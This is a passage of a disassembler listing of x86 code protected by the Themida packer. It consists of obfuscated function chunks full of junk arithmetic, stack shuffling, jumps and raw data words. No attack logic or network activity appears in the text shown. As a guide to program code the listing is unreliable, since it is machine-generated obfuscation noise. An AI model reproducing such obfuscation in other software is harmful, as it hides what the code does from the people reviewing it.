		mov	[esp+24h+var_24], ecx
		push	5C34h
		mov	[esp+28h+var_28], eax
		push	0B86h
		mov	[esp+2Ch+var_2C], esi
		push	440647ABh
		pop	esi
		push	ecx
		mov	ecx, 1A130AA6h
		xor	ecx, 361E2DCFh
		jmp	loc_56078E
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F661


loc_55FEB6:				; CODE XREF: sub_55F661+Dj
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_56CF0D
; END OF FUNCTION CHUNK	FOR sub_55F661
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55FEC8:				; CODE XREF: sub_56207C+D455j
		push	ecx
		mov	cl, 12h
		not	cl
		push	ebx
		mov	bl, 26h
		dec	bl
		sub	bl, 0F8h
		shr	bl, 8
		add	bl, 85h
		or	cl, bl
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_564875
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
		dd 83242489h, 5E042404h, 26EDE955h, 34B90000h, 0D12A802Fh
					; CODE XREF: sub_56207C+43A8j
		dd 0C98149E1h, 1C906F69h, 1940E9h, 4EC8300h, 0BD242C89h
		dd 3607621Fh, 629EED81h, 0E5C16495h, 0E9F58106h, 812CDD60h
		dd 936F0EC5h, 8FC58146h, 895F9E4Ch, 242C8BEFh, 4C481h
		dd 0EFC10000h, 0FEF8102h, 5705B50Fh, 81240C8Bh,	4C4h, 0EE815F00h
		dd 3AAD1D3Dh, 0B951CE01h, 2F654EDDh, 0E2C7E9h, 0B4E95C00h
		db 2, 1, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55FF67:				; CODE XREF: sub_56207C+8BB0j
		mov	edx, [esp+34h+var_34]
		add	esp, 4
		xor	ebp, 2ED858B5h
		push	ebp
		mov	ebp, 517642FBh
		jmp	loc_56D6F6
; ---------------------------------------------------------------------------


loc_55FF7E:				; CODE XREF: sub_56207C+2E58j
		pop	edx
		push	ecx
		push	[esp+34h+var_34]
		jmp	loc_56B215
; ---------------------------------------------------------------------------


loc_55FF88:				; CODE XREF: sub_56207C+BCA8j
		pop	esp
		mov	ebp, [esp+34h+var_34]
		add	esp, 4
		push	2E6Dh
		mov	[esp+34h+var_34], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	927h
		mov	[esp+34h+var_34], ecx
		push	[esp+34h+var_30]
		push	[esp+38h+var_38]
		pop	ecx
		add	esp, 4
		pop	[esp+34h+var_34]
		pop	esp
		or	ecx, ecx
		jz	loc_56BE72
		push	0B8Eh
		push	esp
		pop	[esp+34h+var_34]
		jmp	loc_56B4AD
; ---------------------------------------------------------------------------


loc_55FFCC:				; CODE XREF: sub_56207C-184Cj
		mov	esp, [esp+30h+var_30]
		push	edi
		jmp	loc_57330A
; ---------------------------------------------------------------------------


loc_55FFD5:				; CODE XREF: sub_56207C+B3D5j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+34h+var_34]
		jmp	loc_561114
; ---------------------------------------------------------------------------


loc_55FFEB:				; CODE XREF: sub_56207C+2EE9j
		not	esi
		add	esi, 8C1878E0h
		sub	ecx, esi
		pop	esi
		sub	eax, ecx
		pop	ecx
		sub	eax, 7FED4DD5h
		add	eax, ebx


loc_560000:				; DATA XREF: Themida_:00581024o
		add	eax, 7FED4DD5h
		add	eax, 70D11979h
		sub	eax, 645361F4h
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_5693CA
; ---------------------------------------------------------------------------


loc_56001D:				; CODE XREF: sub_56207C+6F6Dj
		xor	ebp, [esp+2Ch+var_2C]
		jmp	loc_571799
; ---------------------------------------------------------------------------


loc_560025:				; CODE XREF: sub_56207C+F5BBj
		push	ebp
		push	ecx
		mov	ecx, 5945763Eh
		inc	ecx
		shl	ecx, 1
		shl	ecx, 7
		sub	ecx, 44A2F136h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55F81B
; ---------------------------------------------------------------------------


loc_560040:				; CODE XREF: sub_56207C+92D2j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], eax
		mov	eax, 20CB7930h
		jmp	loc_57348F
; ---------------------------------------------------------------------------


loc_56005A:				; CODE XREF: sub_56207C+4EFFj
		mov	[esp+2Ch+var_2C], eax
		push	2A6F5607h
		jmp	loc_5681DA
; ---------------------------------------------------------------------------


loc_560067:				; CODE XREF: sub_56207C+5B69j
		add	eax, ebx
		sub	eax, 129E3513h
		push	[esp+30h+var_30]
		pop	ebx
		add	esp, 4
		sub	esi, 2827D9Fh
		sub	esi, eax
		add	esi, 2827D9Fh
		pop	eax
		push	ebx
		jmp	loc_564030
; ---------------------------------------------------------------------------


loc_56008A:				; CODE XREF: sub_56207C+FC94j
		mov	al, 0C5h
		jmp	loc_56EB77
; ---------------------------------------------------------------------------


loc_560091:				; CODE XREF: sub_56207C+34A1j
		or	edi, ecx
		pop	ecx
		add	edi, 11046E98h
		push	esi
		mov	esi, 31A27AB5h
		sub	esi, 0FFFFFFFFh
		neg	esi
		add	esi, 31A27AB7h
		jmp	loc_56DB82
; ---------------------------------------------------------------------------


loc_5600B3:				; CODE XREF: sub_56207C+AA67j
		sub	edi, 655D5900h
		add	edi, 946F06AEh
		jmp	loc_56F0B8
; ---------------------------------------------------------------------------


loc_5600C4:				; CODE XREF: sub_56207C+DAE6j
		mov	esi, ebp
		mov	ebp, [esp+2Ch+var_2C]
		jmp	loc_569C8D
; ---------------------------------------------------------------------------


loc_5600CE:				; CODE XREF: sub_56207C+427Dj
		add	ebp, edi
		mov	edi, [esp+2Ch+var_2C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+2Ch+var_2C], edi
		mov	edi, 6B056F48h
		jmp	loc_55F2C4
; ---------------------------------------------------------------------------


loc_5600E9:				; CODE XREF: sub_56207C+B21Bj
		pop	esp
		mov	[esp+28h+var_28], edx
		mov	dh, 60h
		push	cx
		mov	cl, 0FFh
		sub	dh, cl
		pop	cx
		jmp	loc_57274E
; ---------------------------------------------------------------------------


loc_5600FC:				; CODE XREF: sub_56207C-2CA5j
		shl	eax, 8
		add	eax, 1C761E9h
		push	ebx
		mov	ebx, 0EF303CEh
		dec	ebx
		jmp	loc_570A3E
; ---------------------------------------------------------------------------


loc_560110:				; CODE XREF: sub_56207C+5A46j
		pop	eax
		and	eax, ebp
		jmp	loc_562942
; ---------------------------------------------------------------------------


loc_560118:				; CODE XREF: sub_56207C+7538j
		add	edx, 6EEAB0C4h
		add	eax, edx
		pop	edx
		jmp	loc_572C44
; ---------------------------------------------------------------------------


loc_560126:				; CODE XREF: sub_56207C+B2E4j
		mov	edi, 4
		jmp	loc_5652B5
; ---------------------------------------------------------------------------


loc_560130:				; CODE XREF: sub_56207C+405Fj
		mov	ebx, 4
		mov	ebp, ebx
		pop	ebx
		push	4500h
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, 72EC697Bh
		xor	ebx, 4FEA0D4Dh
		jmp	loc_5606B1
; ---------------------------------------------------------------------------


loc_560150:				; CODE XREF: sub_56207C-1555j
		pop	edx
		add	esp, 4
		push	ebx
		push	edx
		mov	dl, 0E1h
		mov	bh, 0F9h
		xor	bh, dl
		mov	edx, [esp+1Ah+var_1C+2]
		jmp	loc_56E601
; ---------------------------------------------------------------------------


loc_560164:				; CODE XREF: sub_56207C+1178j
		or	eax, eax
		jz	loc_56E1B3
		push	151Eh
		mov	[esp+1Eh+var_20+2], ebx
		jmp	loc_5617F4
; ---------------------------------------------------------------------------


loc_560179:				; CODE XREF: sub_56207C+789Bj
		pop	eax
		jmp	loc_561ABB
; ---------------------------------------------------------------------------


loc_56017F:				; CODE XREF: sub_56207C-179Cj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_560184:				; CODE XREF: sub_56207C+31CEj
		mov	[esp+1Ah+var_1C+2], eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 4
		push	edi
		mov	edi, 7330519Dh
		jmp	loc_56710A
; ---------------------------------------------------------------------------


loc_56019F:				; CODE XREF: sub_56207C+F5F6j
		shr	ecx, 0
		jmp	loc_571DAE
; ---------------------------------------------------------------------------


loc_5601A7:				; CODE XREF: sub_56207C+D0A0j
		pop	esi
		xor	esi, 3CC49CEh
		shr	esi, 6
		neg	esi
		add	esi, 17FE0AEAh
		sub	esi, 1596845Ch
		add	ebx, esi
		pop	esi
		push	ebx
		jmp	loc_57128C
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_5601C8:				; DATA XREF: Themida_:0055E208o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5601D7:				; CODE XREF: sub_56207C+D3E3j
		xor	esi, [esp+1Eh+var_20+2]
		pop	esp
		pop	eax
		push	41C0h
		mov	[esp+1Ah+var_1C+2], ebp
		mov	ebp, 4E1F2A33h
		sub	ebp, 0DB8226CDh
		xor	eax, ebp
		pop	ebp
		jmp	loc_56AC73
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_5601F7	proc near		; DATA XREF: Themida_:0055E14Co
		mov	ax, [esp+0]
		jmp	loc_571EB3
sub_5601F7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560200:				; CODE XREF: sub_56207C+2AB0j
		mov	[esp+16h+var_18+2], edi
		push	31BF41ABh
		jmp	loc_55E708
; ---------------------------------------------------------------------------


loc_56020D:				; CODE XREF: sub_56207C+DCF6j
		push	esi
		mov	esi, 4
		add	[esp+1Eh+var_1C+2], esi
		pop	esi
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_567524
; ---------------------------------------------------------------------------


loc_56022A:				; CODE XREF: sub_56207C+7AB3j
		push	edi
		mov	edi, 1C62514Bh
		inc	edi
		xor	edi, 72C457CEh
		shl	edi, 8
		neg	edi
		and	edi, 75E31813h
		xor	edi, 422C6372h
		sub	ebp, edi
		mov	edi, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_56461D
; ---------------------------------------------------------------------------


loc_560258:				; CODE XREF: sub_56207C+6ABEj
		sub	ebp, 5AD03EE0h
		xor	ebp, 297A0234h
		mov	esi, ebp
		pop	ebp
		sub	[esp+16h+var_14+2], esi
		pop	esi
		push	[esp+12h+var_14+2]
		pop	eax
		push	eax
		jmp	loc_57069F
; ---------------------------------------------------------------------------


loc_560276:				; CODE XREF: sub_56207C+32E3j
		pop	[esp+16h+var_18+2]
		mov	esp, [esp+12h+var_14+2]
		jmp	loc_563066
; ---------------------------------------------------------------------------


loc_560281:				; CODE XREF: sub_56207C+6F73j
		sub	ecx, 91F6D96h
		sub	ecx, 17295E5Ah
		jmp	loc_561101
; ---------------------------------------------------------------------------


loc_560292:				; CODE XREF: sub_56207C-25BCj
		push	esi
		mov	esi, 1A8C7A26h
		add	edx, esi
		pop	esi
		pop	ebp
		xor	edx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], edx
		xor	edx, [esp+2+var_4+2]
		pop	esp
		jmp	loc_562D80
; ---------------------------------------------------------------------------


loc_5602AB:				; CODE XREF: sub_56207C+1625j
		mov	edi, 4
		add	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_55E9B0
; ---------------------------------------------------------------------------


loc_5602BE:				; CODE XREF: sub_56207C+416Aj
		mov	ecx, [esp+0]
		push	18B8h
		jmp	loc_570028
; ---------------------------------------------------------------------------


loc_5602CB:				; CODE XREF: sub_56207C+10644j
		sub	esi, 17F6157Bh
		add	esi, ebx
		push	eax
		mov	eax, 58DF107Bh
		jmp	loc_5714AF
; ---------------------------------------------------------------------------


loc_5602DE:				; CODE XREF: sub_56207C+CA89j
		push	1F25h
		jmp	loc_56E7EB
; ---------------------------------------------------------------------------


loc_5602E8:				; CODE XREF: sub_56207C+EE9Cj
		xor	edx, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], edx
		jmp	loc_573398
; ---------------------------------------------------------------------------


loc_5602F3:				; CODE XREF: sub_56207C+7E15j
		shr	edi, 6
		dec	edi
		jmp	loc_5703B1
; ---------------------------------------------------------------------------


loc_5602FC:				; CODE XREF: sub_56207C+C675j
		push	eax
		jmp	loc_57134A
; ---------------------------------------------------------------------------


loc_560302:				; CODE XREF: sub_56207C+B6BAj
		not	ecx
		xchg	ecx, edx
		xchg	edx, [esp+0Eh+var_10+2]
		pop	edx
		jmp	loc_56E54B
; ---------------------------------------------------------------------------


loc_56030F:				; CODE XREF: sub_56207C-2429j
		add	esi, 44A07BF1h
		jmp	loc_56301B
; ---------------------------------------------------------------------------


loc_56031A:				; CODE XREF: sub_56207C+DBA1j
		mov	eax, [esp+14h+var_14]
		jmp	loc_564C48
; ---------------------------------------------------------------------------


loc_560322:				; CODE XREF: sub_56207C-194Dj
		and	edi, 967B5Ch
		inc	edi
		inc	edi
		not	edi
		sub	edi, 4D0A6926h
		xor	edi, 0B26333C7h
		jmp	loc_561EED
; ---------------------------------------------------------------------------


loc_56033D:				; CODE XREF: sub_56207C+10619j
		pop	ebp
		not	eax
		push	ebp
		mov	ebp, 681570C5h
		add	ebp, 323A7E62h
		or	ebp, 0F3F2509h
		xor	ebp, 3C392CCCh
		add	ebp, 60E62F46h
		inc	ebp
		add	ebp, 439EB243h
		add	eax, ebp
		pop	ebp
		add	edx, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		movzx	cx, al
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, 62031568h
		add	ebp, edx
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		mov	eax, 64FE0457h
		jmp	loc_55EC17
; ---------------------------------------------------------------------------


loc_56039C:				; CODE XREF: sub_56207C+30B0j
		mov	word ptr [esp+14h+var_14], cx
		push	small 3AC8h
		mov	cx, word ptr [esp+16h+var_18+2]
		add	esp, 2
		add	dx, cx
		mov	cx, word ptr [esp+12h+var_14+2]
		add	esp, 2
		push	ax
		mov	ax, 6FDDh
		sub	dx, ax
		jmp	loc_560ABD
; ---------------------------------------------------------------------------


loc_5603C6:				; CODE XREF: sub_56207C+E564j
		add	edi, esi
		jmp	loc_56A180
; ---------------------------------------------------------------------------


loc_5603CD:				; CODE XREF: sub_56207C+9913j
		mov	[esp+10h+var_10], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_56E927
; ---------------------------------------------------------------------------


loc_5603DB:				; CODE XREF: sub_56207C+5144j
		not	ecx
		xor	ecx, 0F486BCBEh
		sub	edi, 471D7EB6h
		sub	edi, 3C0C43E6h
		sub	edi, ecx
		jmp	loc_56F635
; ---------------------------------------------------------------------------


loc_5603F6:				; CODE XREF: sub_56207C-44Aj
		mov	ecx, 4A80E58h
		jmp	loc_56E8B2
; ---------------------------------------------------------------------------


loc_560400:				; CODE XREF: sub_56207C+FD12j
		sub	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 247625D0h
		not	ebp
		sub	esp, 4
		mov	[esp+18h+var_18], esi
		mov	esi, 2B8562B3h
		add	ebp, esi
		pop	esi
		add	ebx, 381A3CD6h
		sub	ebx, ebp
		sub	ebx, 381A3CD6h
		pop	ebp
		add	ebx, 3ED24D15h
		sub	ebx, esi
		push	ebp
		mov	ebp, 3ED24D15h
		sub	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 5CE57765h
		shr	ecx, 5
		shl	ecx, 7
		xor	ecx, 749AE162h
		jmp	loc_56EAAF
; ---------------------------------------------------------------------------


loc_560450:				; CODE XREF: sub_56207C+3396j
		pop	edx
		pop	[esp+10h+var_10]
		pop	esp
		push	695Ah
		mov	[esp+0Ch+var_C], edx
		jmp	loc_569969
; ---------------------------------------------------------------------------


loc_560462:				; CODE XREF: sub_56207C+10A3Cj
		push	31DFh
		mov	[esp+10h+var_10], ebx
		jmp	loc_572A8B
; ---------------------------------------------------------------------------


loc_56046F:				; CODE XREF: sub_56207C+5321j
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_5660B4
; ---------------------------------------------------------------------------


loc_560480:				; CODE XREF: sub_56207C-22F4j
		sub	ebp, 3703588Bh
		jmp	loc_56F600
; ---------------------------------------------------------------------------


loc_56048B:				; CODE XREF: sub_56207C+A603j
		and	edx, ebx
		pop	ebx
		jmp	loc_55F317
; ---------------------------------------------------------------------------


loc_560493:				; CODE XREF: sub_56207C-1BB6j
		push	eax
		jmp	loc_56E662
; ---------------------------------------------------------------------------


loc_560499:				; CODE XREF: sub_56207C-15E1j
		push	1248h
		jmp	loc_571CE2
; ---------------------------------------------------------------------------


loc_5604A3:				; CODE XREF: sub_56207C+65A6j
		mov	ebp, 7BAE0A21h
		not	ebp
		not	ebp
		sub	ebp, 7BAE0A1Dh
		jmp	loc_5726CE
; ---------------------------------------------------------------------------


loc_5604B7:				; CODE XREF: sub_56207C+7024j
		sub	dh, 0E0h
		mov	ecx, [esp+28h+var_28]
		add	esp, 4
		or	dh, 0A8h
		jmp	loc_560493
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560AFE


loc_5604CB:				; CODE XREF: sub_560AFE+6j
		add	[esp+4], ebp
		pop	ebp
		mov	edi, [esp+0]
		jmp	loc_56D8F6
; END OF FUNCTION CHUNK	FOR sub_560AFE

; =============== S U B	R O U T	I N E =======================================



sub_5604D8	proc near		; CODE XREF: sub_56207C+3AF1j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_572F26
sub_5604D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5604EF:				; CODE XREF: sub_56207C+9C96j
		sub	ebx, ecx
		pop	ecx
		add	eax, ebx
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		sub	eax, 38A45A49h
		add	eax, ebp
		add	eax, 38A45A49h
		jmp	loc_565C19
; ---------------------------------------------------------------------------


loc_56050E:				; CODE XREF: sub_56207C+643Cj
		sub	ebx, edi
		mov	edi, [esp+1Ch+var_1C]
		add	esp, 4
		pop	ecx
		add	eax, ebx
		push	[esp+14h+var_14]
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_570DAC
; ---------------------------------------------------------------------------


loc_56052E:				; CODE XREF: sub_56207C+AFE9j
		add	ebx, edx
		pop	edx
		jmp	loc_56E973
; ---------------------------------------------------------------------------


loc_560536:				; CODE XREF: sub_56207C+F521j
		pop	esi
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		or	[esp+8+var_8], eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_560544:				; CODE XREF: sub_56207C+D46Ej
		shl	edx, 2
		push	7A11h
		mov	[esp+10h+var_10], ebx
		mov	ebx, 0CF29B728h
		jmp	loc_56746B
; ---------------------------------------------------------------------------


loc_560559:				; CODE XREF: sub_56207C-36B8j
		pop	[esp+28h+var_28]
		push	ecx
		mov	ecx, 4
		sub	[esp+28h+var_24], 748D57A2h
		jmp	loc_56FEAD
; ---------------------------------------------------------------------------


loc_56056F:				; CODE XREF: sub_56207C+5193j
		mov	ecx, 2D4E33FDh
		sub	ecx, 1
		jmp	loc_56A74F
; ---------------------------------------------------------------------------


loc_56057F:				; CODE XREF: sub_56207C+BF21j
		mov	edi, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_564B72
; ---------------------------------------------------------------------------


loc_56058A:				; CODE XREF: sub_56207C+3E50j
		xor	ch, 0FDh
		jmp	loc_561A7D
; ---------------------------------------------------------------------------


loc_560592:				; CODE XREF: sub_56207C+F718j
		xor	ebp, edi
		push	4ECEh
		mov	[esp+28h+var_28], ebx
		jmp	sub_560E35
; ---------------------------------------------------------------------------


loc_5605A1:				; CODE XREF: sub_56207C+1F4Bj
		mov	eax, 61581279h
		xor	ecx, eax
		pop	eax
		shr	ecx, 8
		add	ecx, 5B2B7AAEh
		shl	ecx, 7
		sub	ecx, 0DB2816FCh
		push	eax
		jmp	loc_5632B3
; ---------------------------------------------------------------------------


loc_5605C1:				; CODE XREF: sub_56207C+2D68j
		mov	edi, [esp+28h+var_28]
		add	esp, 4
		pop	[esp+24h+var_24]
		mov	esp, [esp+20h+var_20]
		jmp	loc_562C25
; ---------------------------------------------------------------------------


loc_5605D5:				; CODE XREF: sub_56207C+4209j
		or	eax, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_569F96
; ---------------------------------------------------------------------------


loc_5605E3:				; CODE XREF: sub_56207C-178Fj
		pop	eax
		add	al, dl
		mov	dx, word ptr [esp+1Ch+var_1C]
		push	edx
		mov	edx, esp
		push	157Eh
		jmp	loc_56EE7C
; ---------------------------------------------------------------------------


loc_5605F7:				; CODE XREF: sub_56207C+E63Ej
		shl	cl, 7
		push	edx
		jmp	loc_56FD4E
; ---------------------------------------------------------------------------


loc_560600:				; CODE XREF: sub_56207C-34BEj
		mov	bp, 3F1Eh
		mov	dx, 368h
		xor	dx, bp
		pop	ebp
		jmp	loc_565129
; ---------------------------------------------------------------------------


loc_560611:				; CODE XREF: sub_56207C+E863j
		mov	dl, 0D8h
		mov	cl, 8Dh
		jmp	loc_571DA7
; ---------------------------------------------------------------------------


loc_56061A:				; CODE XREF: sub_56207C+E6CCj
		mov	dl, 0F8h
		sub	al, dl
		pop	dx
		add	al, bh
		jmp	loc_56735C
; ---------------------------------------------------------------------------


loc_560627:				; CODE XREF: sub_56207C+9889j
		xchg	edx, esi
		not	edx
		jmp	loc_55F04C
; ---------------------------------------------------------------------------


loc_560630:				; CODE XREF: sub_56207C+6F80j
		mov	ebx, esp
		push	eax
		push	0B3C64C3h
		push	[esp+2Ch+var_2C]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], edx
		sub	esp, 4
		mov	[esp+30h+var_30], esp
		push	edx
		mov	edx, 4
		add	[esp+34h+var_30], edx
		jmp	loc_5721F4
; ---------------------------------------------------------------------------


loc_560667:				; CODE XREF: sub_56207C+14E4j
		shl	ebx, 5
		push	ebp
		mov	ebp, 44165B72h
		sub	ebx, ebp
		pop	ebp
		xor	ebx, 0B49FB3EBh
		sub	edi, ebx
		pop	ebx
		shl	edi, 2
		or	edi, 37F374C5h
		xchg	esi, edi
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		xchg	esi, edi
		add	edi, 1D4F5CAh
		mov	ebp, edi
		pop	edi
		mov	ebx, 41D97EFCh
		sub	ebx, ebp
		jmp	loc_572181
; ---------------------------------------------------------------------------


loc_5606A4:				; CODE XREF: sub_56207C+1004Aj
		sub	eax, 4
		xchg	eax, [esp+2Ch+var_2C]
		jmp	loc_5660BD
; ---------------------------------------------------------------------------


loc_5606B1:				; CODE XREF: sub_56207C-1F31j
		add	edi, ebx
		jmp	loc_56B77A
; ---------------------------------------------------------------------------


loc_5606B8:				; CODE XREF: sub_56207C-12CCj
		sub	ebx, 0C02B9123h
		add	eax, ebx
		pop	ebx
		jmp	loc_56386D
; ---------------------------------------------------------------------------


loc_5606C6:				; CODE XREF: sub_56207C+D6E3j
		pop	ebp
		sub	esp, 4
		mov	[esp+16h+var_18+2], edi
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], esi
		mov	esi, 362B3B2Bh
		add	esi, 0C9D4C4D9h
		mov	edi, esi
		pop	esi
		sub	ebp, 19470094h
		add	ebp, edi
		add	ebp, 19470094h
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_572219
; ---------------------------------------------------------------------------


loc_560706:				; CODE XREF: sub_56207C+87F6j
		shl	edx, 1
		sub	edx, 27EE3606h
		xor	edx, 0D23B80D2h
		add	ecx, edx
		jmp	loc_56FE3D
; ---------------------------------------------------------------------------


loc_56071B:				; CODE XREF: sub_56207C+8FDBj
		pop	ebp
		add	ebp, 4
		push	6FFEh
		mov	[esp+16h+var_18+2], edi
		mov	edi, 48BB63B5h
		jmp	loc_560322
; ---------------------------------------------------------------------------


loc_560734:				; CODE XREF: sub_56207C+547Fj
		push	6AB5h
		mov	[esp+1Ah+var_1C+2], ebx
		xor	[esp+1Ah+var_1C+2], 1DD05505h
		jmp	loc_570FFE
; ---------------------------------------------------------------------------


loc_560748:				; CODE XREF: sub_56207C+70FDj
		xor	eax, edi
		jmp	loc_566BF6
; ---------------------------------------------------------------------------


loc_56074F:				; CODE XREF: sub_56207C+1E92j
		mov	[esp+1Ah+var_1C+2], eax
		push	ebp
		mov	ebp, 4
		mov	eax, ebp
		jmp	loc_570270
; ---------------------------------------------------------------------------


loc_56075F:				; CODE XREF: sub_56207C+1707j
		push	edx
		mov	dl, 8Eh
		and	dl, 0F8h
		shl	dl, 3
		jmp	loc_568DF4
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_56076D:				; DATA XREF: Themida_:0055E26Co
		lodsd
		xor	eax, ebx
		jmp	loc_56C659
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560775:				; CODE XREF: sub_56207C+1B99j
		pop	eax
		jmp	loc_56CF18
; ---------------------------------------------------------------------------


loc_56077B:				; CODE XREF: sub_56207C+660Dj
		push	eax
		mov	eax, 4
		add	ebp, 2AF0213Eh
		sub	ebp, eax
		jmp	loc_565D62
; ---------------------------------------------------------------------------


loc_56078E:				; CODE XREF: sub_56207C-21CBj
		add	ecx, 430BF263h
		jmp	loc_56D54B
; ---------------------------------------------------------------------------


loc_560799:				; CODE XREF: sub_56207C+2DE5j
		pop	eax
		add	esi, 0D83E9435h
		jmp	loc_55E443
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_5607A5:				; DATA XREF: Themida_:0055E264o
		mov	cx, [esp]
		jmp	loc_5722B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5607AE:				; CODE XREF: sub_56207C-30Ej
		pop	esp
		jmp	loc_56D890
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_5607B4:				; DATA XREF: Themida_:0055E270o
		push	2EBAh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_55E969
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5607CA:				; CODE XREF: sub_56207C-23E3j
		push	ecx
		xor	[esp+28h+var_28], 17B30085h
		pop	ebp
		xor	ebp, 17B30085h
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_560CF4
; ---------------------------------------------------------------------------


loc_5607E7:				; CODE XREF: sub_56207C+C5A7j
		pop	ecx
		sub	esp, 4
		mov	[esp+20h+var_20], ecx
		mov	ecx, esp
		push	6C42h
		mov	[esp+24h+var_24], eax
		push	4
		jmp	loc_57215F
; ---------------------------------------------------------------------------


loc_560805:				; CODE XREF: sub_56207C+E650j
		mov	[esp+28h+var_28], esi
		push	[esp+28h+var_24]
		pop	esi
		pop	[esp+28h+var_28]
		jmp	loc_564C20
; ---------------------------------------------------------------------------


loc_560815:				; CODE XREF: sub_56207C+B165j
		push	esi
		mov	esi, 2
		add	edx, 3B3F595Ch
		add	edx, esi
		push	eax
		push	edi
		jmp	loc_56916F
; ---------------------------------------------------------------------------


loc_56082A:				; CODE XREF: sub_56207C+80FFj
		add	edi, 4
		xchg	edi, [esp+30h+var_30]
		jmp	loc_55FFCC
; ---------------------------------------------------------------------------


loc_560835:				; CODE XREF: sub_56207C+9B0Dj
		xor	ecx, [esp+30h+var_30]
		xor	[esp+30h+var_30], ecx
		push	6591h
		mov	[esp+34h+var_34], ecx
		jmp	loc_56B982
; ---------------------------------------------------------------------------


loc_560848:				; CODE XREF: sub_56207C+5698j
		add	ecx, ebx
		pop	ebx
		neg	ecx
		push	esi
		push	ecx
		jmp	loc_56E0B2
; ---------------------------------------------------------------------------


loc_560854:				; CODE XREF: sub_56207C-9F8j
		pop	eax
		add	ecx, ebp
		pop	ebp
		jmp	loc_56D63A
; ---------------------------------------------------------------------------


loc_56085D:				; CODE XREF: sub_56207C+F9B9j
		mov	bl, dl
		jmp	loc_57226C
; ---------------------------------------------------------------------------


loc_560864:				; CODE XREF: sub_56207C+D490j
		push	4FA506B6h
		pop	edx
		push	edx
		push	eax
		jmp	loc_56CB60
; ---------------------------------------------------------------------------


loc_560871:				; CODE XREF: sub_56207C+CCFCj
		pop	ecx
		sub	[esp+34h+var_2C], esi
		pop	esi
		add	[esp+30h+var_2C], esi
		push	ebp
		mov	ebp, 6CFE685Ah
		jmp	loc_56B13B
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_560886	proc near		; CODE XREF: sub_56207C-282j
		push	ebp
		jmp	loc_564A4D
sub_560886	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_56088C:				; CODE XREF: sub_56207C+11536j
		pop	edi
		add	edx, 778850E1h
		sub	edx, 66506EDAh
		sub	esp, 4
